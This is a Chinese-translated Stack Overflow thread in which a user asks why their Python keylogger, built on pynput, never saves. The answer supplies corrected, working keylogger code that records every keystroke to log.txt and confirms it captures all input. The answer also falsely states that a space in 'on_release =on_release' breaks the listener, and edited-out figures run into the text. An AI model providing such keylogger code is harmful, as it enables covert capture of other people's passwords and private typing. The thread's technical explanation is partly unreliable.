【问题标题】:Keylogger won´t save to text file,made in python键盘记录器不会保存到文本文件,用 python 制作
【发布时间】:2019-08-17 00:51:42
【问题描述】:

所以我尝试制作一个键盘记录器,但它不会保存到文本文件中。

第一次做键盘记录器,已经看了一些教程,但我不知道为什么它不起作用。

这是我的完整代码

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   if count >= 999999999999999999999999999999999999999999:
       count = 0
       write_file(keys)
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release =on_release) as listener:
    listener.join()

pycharm 中没有显示错误...

【问题讨论】:

  • 文件只写入一次 999999999999999999999999999999999999999999 键被按下,这是一个非常大的数字。

标签: python keylogger


【解决方案1】:

正如 John Gordon 在 cmets 中指出的那样,在您收集超过 9999999999999999999999999999999999999999999 键之前,您的键盘记录器不会保存。每秒三个键,不间断,这将需要大约 一年 一千万年的时间来输入,并且会创建一个文件几乎正好 1GB 10,000 万亿万亿 GB。然而,根据打字速度测试,人们平均打字190-200 characters (not words) per minute - 为什么不在 50 个字符后每 15 秒左右保存一次呢?您可以将其更改为您喜欢的任何内容。

我还注意到您的程序没有正确终止 - 您在 on_release =on_releasewith Listener 调用中留下了一个杂散空间,这阻止了键盘记录器捕获 esc 键(从而也阻止了键盘记录器被杀死,ctrl-z 除外)。

修改后的代码在我的机器上运行良好,并捕获了我的所有输入。诡异!

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   #change this to whatever you want, knowing the average person types at 
   #190-200 characters per minute. Following that logic, this logger will save every 
   #15 seconds or so during normal typing.
   if count >= 50:
       count = 0
       write_file()
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


#note that if you leave a space, like "on_release =on_release", the listener won't
#understand your on_release function and will ignore it
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

祝你好运!

【讨论】:

  • 1 GB?你有点跑题了。 999999999999999999999999999999999999999999 字节是一个足够大的数量,没有任何明确定义的术语。它的存储量大约是地球上现有存储量的 10^21 倍。
  • @duskwuff 谷歌把我搞砸了!现在更新答案。感谢您了解这一点。
  • 您还需要更正时间。 ~10^42 秒比宇宙的预期寿命长。
  • @duskwuff 真的不知道为什么谷歌的四舍五入这么差,但是你又是对的,回到编辑委员会我去。
  • @koki 这是一个非常模糊的问题!什么具体不适合你?
猜你喜欢
  • 1970-01-01
  • 2015-09-19
  • 2020-04-28
  • 2020-07-17
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2023-03-07
相关资源
最近更新 更多